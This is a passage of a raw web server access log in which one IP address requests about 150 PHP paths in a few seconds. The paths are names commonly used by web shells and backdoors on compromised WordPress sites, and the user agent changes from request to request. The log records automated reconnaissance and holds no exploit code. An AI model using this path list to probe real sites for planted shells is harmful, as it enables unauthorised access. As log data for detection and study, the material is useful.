+0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:14 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:15 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:16 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 